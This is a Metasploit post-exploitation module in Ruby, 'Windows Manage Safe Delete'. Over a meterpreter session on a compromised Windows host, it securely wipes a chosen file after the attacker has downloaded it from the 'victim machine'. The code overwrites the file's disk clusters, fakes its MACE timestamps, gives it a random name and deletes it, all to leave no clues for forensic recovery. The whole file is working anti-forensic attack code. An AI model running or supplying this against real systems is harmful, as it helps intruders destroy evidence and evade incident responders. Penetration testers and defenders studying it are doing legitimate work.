##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Priv
	include Msf::Post::Common
	include Msf::Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'		=> 'Windows Manage Safe Delete',
			'Description'   => %q{
					The goal of the module is to hinder the recovery of deleted files by overwriting
				its contents.  This could be useful when you need to download some file on the victim
				machine and then delete it without leaving clues about its contents. Note that the script
				does not wipe the free disk space so temporary/sparse/encrypted/compressed files could
				not be overwritten. Note too that MTF entries are not overwritten so very small files
				could stay resident within the stream descriptor.},
			'License'       => BSD_LICENSE,
			'Author'        => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))

		register_options(
			[
				OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]),
				OptInt.new('ITERATIONS', [false, 'The number of overwrite passes', 1 ]),
				OptString.new('FILE',[true, 'File to be deleted',''])
			], self.class)
	end


	def run
		type = 1
		n = datastore['ITERATIONS']
		file = datastore['FILE']

		if datastore['ZERO']==true
			type = 0
			print_status("The file will be overwritten with null bytes")
		end

		if !file_exist?(file)
			print_error("File #{file} does not exist")
			return
		elsif comp_encr(file)
			print_status("File compress or encrypted. Content could not be overwritten!")
		end
		file_overwrite(file,type,n)
	end


	#Function to calculate the size of the cluster
	def size_cluster()
		drive =  expand_path("%SystemDrive%")
		r = client.railgun.kernel32.GetDiskFreeSpaceA(drive,4,4,4,4)
		cluster = r["lpBytesPerSector"] * r["lpSectorsPerCluster"]
		print_status("Cluster Size: #{cluster}")

		return cluster
	end


	#Function to calculate the real file size on disk (file size + slack space)
	def size_on_disk(file)
		size_file = client.fs.file.stat(file).size;
		print_status("Size of the file: #{size_file}")

		if (size_file<800)
			print_status("The file is too small. If it's store in the MTF (NTFS) sdel will not overwrite it!")
		end

		sizeC= size_cluster()
		size_ = size_file.divmod(sizeC)

		if size_.last != 0
			real_size = (size_.first * sizeC) + sizeC
		else
			real_size = size_.first * sizeC
		end

		print_status("Size on disk: #{real_size}")
		return real_size
	end


	#Change MACE attributes. Get a fake date by subtracting N days from the current date
	def change_mace(file)
		rsec=  Rex::Text.rand_text_numeric(7,bad='012')
		date = Time.now - rsec.to_i
		print_status("Changing MACE attributes")
		client.priv.fs.set_file_mace(file, date,date,date,date)
	end

	#Function to overwrite the file
	def file_overwrite(file,type,n)
		#FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk
		r = client.railgun.kernel32.CreateFileA(file, "GENERIC_WRITE", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
		handle=r['return']
		real_size=size_on_disk(file)

		if type==0
			random="\0"*real_size
		end

		i=0
		n.times do
			i+=1
			print_status("Iteration #{i.to_s}/#{n.to_s}:")

			if type==1
				random=Rex::Text.rand_text(real_size,nil)
			end

			#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx
			client.railgun.kernel32.SetFilePointer(handle,0,nil,"FILE_BEGIN")

			#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
			w=client.railgun.kernel32.WriteFile(handle,random,real_size,4,nil)

			if w['return']==false
				print_error("The was an error writing to disk, check permissions")
				return
			end

			print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")
		end

		client.railgun.kernel32.CloseHandle(handle)
		change_mace(file)

		#Generate a long random file name before delete it
		newname = Rex::Text.rand_text_alpha(200,nil)
		print_status("Changing file name")

		#http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx
		client.railgun.kernel32.MoveFileA(file,newname)

		file_rm(newname)
		print_good("File erased!")
	end

	#Check if the file is encrypted or compressed
	def comp_encr(file)
		#http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx
		handle=client.railgun.kernel32.GetFileAttributesA(file)
		type= handle['return']

		#FILE_ATTRIBUTE_COMPRESSED=0x800
		#FILE_ATTRIBUTE_ENCRYPTED=0x4000
		if ( type & (0x4800)).nonzero?
			return true
		end
		return false
	end
end
